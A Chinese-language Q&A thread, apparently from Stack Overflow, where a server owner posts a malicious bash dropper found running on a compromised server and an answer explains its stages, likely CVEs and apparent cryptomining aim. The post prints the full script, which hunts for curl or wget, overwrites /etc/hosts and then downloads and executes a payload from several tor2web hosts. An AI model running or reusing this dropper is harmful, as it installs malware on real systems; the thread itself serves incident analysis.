如前所述,我刚刚发现我的一个私有服务器已经被渗透,下面的bash已经在上面执行了:
tbin=$(command -v passwd);
bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE"
curl="$f"
break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i "tor2web."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1);
echo "");
if [ -z ${rand} ];
then rand=".tmp"
fi;
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.${rand}";
rm -f "$(pwd)/.${rand}" >/dev/null 2>&1;
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.${rand}"
rm -f "/tmp/.${rand}" >/dev/null 2>&1;
(${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O "${LPATH}") && chmod +x "${LPATH}" && sh "${LPATH}"我不知道它到底做了什么,因此我不知道现在做什么,除了完全重置服务器之外。我也很好奇它的目的。谢谢!
发布于 2019-08-25 18:27:49
发布于 2019-08-25 19:03:07
第一部分是一些基础设施的工作,得到一个喘息的系统布局和安装的软件。然后,它清理主机文件以删除早期攻击的痕迹。然后检查可能的有效载荷下载位置。真正的事情发生在最后一行,它下载一个有效负载并执行它。
有两种可能的选择:CVE 2019-9670和CVE 2019-10149,很可能是后者。
这次攻击的最终目的似乎是在服务器上安装一个密码器。
https://stackoverflow.com/questions/57648596
复制相似问题